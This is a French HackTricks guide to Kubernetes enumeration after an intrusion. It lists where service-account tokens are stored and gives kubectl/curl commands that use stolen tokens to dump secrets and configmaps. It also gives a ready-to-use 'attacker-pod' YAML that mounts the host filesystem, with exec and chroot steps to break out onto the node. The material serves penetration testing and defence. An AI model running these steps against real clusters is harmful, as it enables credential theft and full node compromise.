Kubernetes Enumeration

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Jetons Kubernetes

Si vous avez compromis l'accès à une machine, l'utilisateur peut avoir accès à une plateforme Kubernetes. Le jeton se trouve généralement dans un fichier indiqué par la variable d'environnement KUBECONFIG ou à l'intérieur de ~/.kube.

Dans ce dossier, vous pourriez trouver des fichiers de configuration avec des jetons et des configurations pour se connecter au serveur API. Dans ce dossier, vous pouvez également trouver un dossier cache avec des informations précédemment récupérées.

Si vous avez compromis un pod à l'intérieur d'un environnement kubernetes, il existe d'autres endroits où vous pouvez trouver des jetons et des informations sur l'environnement K8 actuel :

Jetons de compte de service

Avant de continuer, si vous ne savez pas ce qu'est un service dans Kubernetes, je vous suggère de suivre ce lien et de lire au moins les informations sur l'architecture de Kubernetes.

Extrait de la documentation de Kubernetes :

“Lorsque vous créez un pod, si vous ne spécifiez pas de compte de service, il se voit automatiquement attribuer le compte de service par défaut dans le même espace de noms.”

ServiceAccount est un objet géré par Kubernetes et utilisé pour fournir une identité aux processus qui s'exécutent dans un pod. Chaque compte de service a un secret qui lui est associé et ce secret contient un jeton porteur. Il s'agit d'un JSON Web Token (JWT), une méthode pour représenter de manière sécurisée des revendications entre deux parties.

Habituellement l'un des répertoires :

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

contient les fichiers :

  • ca.crt : C'est le certificat ca pour vérifier les communications kubernetes

  • namespace : Il indique l'espace de noms actuel

  • token : Il contient le jeton de service du pod actuel.

Maintenant que vous avez le jeton, vous pouvez trouver le serveur API à l'intérieur de la variable d'environnement KUBECONFIG. Pour plus d'informations, exécutez (env | set) | grep -i "kuber|kube"

Le jeton de compte de service est signé par la clé résidant dans le fichier sa.key et validé par sa.pub.

Emplacement par défaut sur Kubernetes :

  • /etc/kubernetes/pki

Emplacement par défaut sur Minikube :

  • /var/lib/localkube/certs

Pods à risque

Les pods à risque sont des pods contenant un jeton de compte de service privilégié. Un jeton de compte de service privilégié est un jeton qui a la permission d'effectuer des tâches privilégiées telles que lister des secrets, créer des pods, etc.

RBAC

Si vous ne savez pas ce qu'est RBAC, lisez cette section.

CheatSheet d'énumération

Pour énumérer un environnement K8s, vous avez besoin de quelques éléments :

  • Un jeton d'authentification valide. Dans la section précédente, nous avons vu où chercher un jeton d'utilisateur et un jeton de compte de service.

  • L'adresse (https://host:port) du serveur API Kubernetes. Cela peut généralement être trouvé dans les variables d'environnement et/ou dans le fichier de configuration kube.

  • Optionnel : Le ca.crt pour vérifier le serveur API. Cela peut être trouvé aux mêmes endroits que le jeton. Cela est utile pour vérifier le certificat du serveur API, mais en utilisant --insecure-skip-tls-verify avec kubectl ou -k avec curl, vous n'en aurez pas besoin.

Avec ces détails, vous pouvez énumérer kubernetes. Si le serveur API pour une raison quelconque est accessible via Internet, vous pouvez simplement télécharger ces informations et énumérer la plateforme depuis votre hôte.

Cependant, généralement le serveur API est à l'intérieur d'un réseau interne, donc vous aurez besoin de créer un tunnel à travers la machine compromise pour y accéder depuis votre machine, ou vous pouvez télécharger le binaire kubectl, ou utiliser curl/wget/n'importe quoi pour effectuer des requêtes HTTP brutes vers le serveur API.

Différences entre les verbes list et get

Avec les permissions get, vous pouvez accéder aux informations d'actifs spécifiques (option describe dans kubectl) API :

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Si vous disposez de la permission list, vous êtes autorisé à exécuter des requêtes API pour lister un type de ressource (option get dans kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Si vous disposez de la permission watch, vous êtes autorisé à exécuter des requêtes API pour surveiller les actifs :

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Ils ouvrent une connexion en streaming qui vous renvoie le manifeste complet d'un Deployment chaque fois qu'il change (ou lorsqu'un nouveau est créé).

Les commandes kubectl suivantes indiquent simplement comment lister les objets. Si vous souhaitez accéder aux données, vous devez utiliser describe au lieu de get

Utilisation de curl

Depuis l'intérieur d'un pod, vous pouvez utiliser plusieurs variables d'environnement :

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Par défaut, le pod peut accéder au serveur kube-api avec le nom de domaine kubernetes.default.svc et vous pouvez voir le réseau kube dans /etc/resolv.config car ici vous trouverez l'adresse du serveur DNS de kubernetes (le ".1" de la même plage est le point de terminaison de l'API kube).

Utilisation de kubectl

Avec le jeton et l'adresse du serveur API, vous utilisez kubectl ou curl pour y accéder comme indiqué ici :

Par défaut, l'APISERVER communique avec le schéma https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

si pas de https:// dans l'url, vous pourriez obtenir une erreur comme Mauvaise Requête.

Vous pouvez trouver une feuille de triche officielle kubectl ici. L'objectif des sections suivantes est de présenter de manière ordonnée différentes options pour énumérer et comprendre le nouveau K8s auquel vous avez obtenu l'accès.

Pour trouver la requête HTTP que kubectl envoie, vous pouvez utiliser le paramètre -v=8

MitM kubectl - Proxyfier kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Configuration Actuelle

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Si vous avez réussi à voler les identifiants de certains utilisateurs, vous pouvez les configurer localement en utilisant quelque chose comme :

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Obtenir les ressources prises en charge

Avec ces informations, vous saurez tous les services que vous pouvez lister

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Obtenir les privilèges actuels

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Une autre manière de vérifier vos privilèges est d'utiliser l'outil : https://github.com/corneliusweig/rakkess****

Vous pouvez en apprendre davantage sur Kubernetes RBAC dans :

pageKubernetes Role-Based Access Control(RBAC)

Une fois que vous savez quels privilèges vous avez, consultez la page suivante pour déterminer si vous pouvez les abuser pour élever vos privilèges :

pageAbusing Roles/ClusterRoles in Kubernetes

Obtenir les rôles des autres

k get roles
k get clusterroles

Obtenir les espaces de noms

Kubernetes prend en charge plusieurs clusters virtuels soutenus par le même cluster physique. Ces clusters virtuels sont appelés espaces de noms.

k get namespaces
kurl -k -v https://$APISERVER/api/v1/namespaces/

Obtenir des secrets

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

Si vous pouvez lire les secrets, vous pouvez utiliser les lignes suivantes pour obtenir les privilèges associés à chaque jeton :

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Obtenir les comptes de service

Comme discuté au début de cette page, lorsqu'un pod est exécuté, un compte de service lui est généralement attribué. Par conséquent, lister les comptes de service, leurs permissions et où ils s'exécutent peut permettre à un utilisateur d'augmenter ses privilèges.

k get serviceaccounts

Obtenir les déploiements

Les déploiements spécifient les composants qui doivent être exécutés.

.k get deployments
k get deployments -n custnamespace

Obtenir les Pods

Les Pods sont les conteneurs qui vont s'exécuter.

k get pods
k get pods -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Obtenir les Services

Les services Kubernetes sont utilisés pour exposer un service sur un port et une adresse IP spécifiques (qui feront office de répartiteur de charge vers les pods qui proposent réellement le service). Cela est intéressant pour savoir où vous pouvez trouver d'autres services à attaquer.

k get services
k get services -n custnamespace

Obtenir les nœuds

Obtenez tous les nœuds configurés à l'intérieur du cluster.

k get nodes

Obtenir les DaemonSets

DaemonSets permet de s'assurer qu'un pod spécifique est exécuté sur tous les nœuds du cluster (ou sur ceux sélectionnés). Si vous supprimez le DaemonSet, les pods qu'il gère seront également supprimés.

k get daemonsets

Obtenir cronjob

Les cron jobs permettent de planifier, en utilisant une syntaxe semblable à crontab, le lancement d'un pod qui exécutera une action.

k get cronjobs
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Obtenir configMap

configMap contient toujours beaucoup d'informations et de fichiers de configuration qui sont fournis aux applications fonctionnant dans Kubernetes. Généralement, vous pouvez y trouver de nombreux mots de passe, secrets, jetons utilisés pour se connecter et s'authentifier à d'autres services internes/externes.

k get configmaps # -n namespace
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

Obtenir "tout"

k get all

Obtenir la consommation des Pods

k top pod --all-namespaces

S'échapper du pod

Si vous pouvez créer de nouveaux pods, vous pourriez être capable de vous échapper vers le nœud. Pour ce faire, vous devez créer un nouveau pod en utilisant un fichier yaml, passer au pod créé, puis effectuer un chroot dans le système du nœud. Vous pouvez utiliser des pods existants comme référence pour le fichier yaml car ils affichent les images et les chemins existants.

kubectl get pod <name> [-n <namespace>] -o yaml

si vous devez créer un pod sur un nœud spécifique, vous pouvez utiliser la commande suivante pour obtenir les étiquettes sur le nœud

k get nodes --show-labels

Généralement, kubernetes.io/hostname et node-role.kubernetes.io/master sont de bonnes étiquettes à sélectionner.

Ensuite, vous créez votre fichier attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""
Après cela, vous créez le pod
kubectl apply -f attacker.yaml [-n <namespace>]

Maintenant, vous pouvez passer au pod créé comme suit

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

Et finalement, vous effectuez un chroot dans le système du nœud

chroot /root /bin/bash

Informations obtenues depuis : Kubernetes Namespace Breakout using Insecure Host Path Volume — Partie 1 Attaquer et Défendre Kubernetes : Bust-A-Kube – Épisode 1

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Dernière mise à jour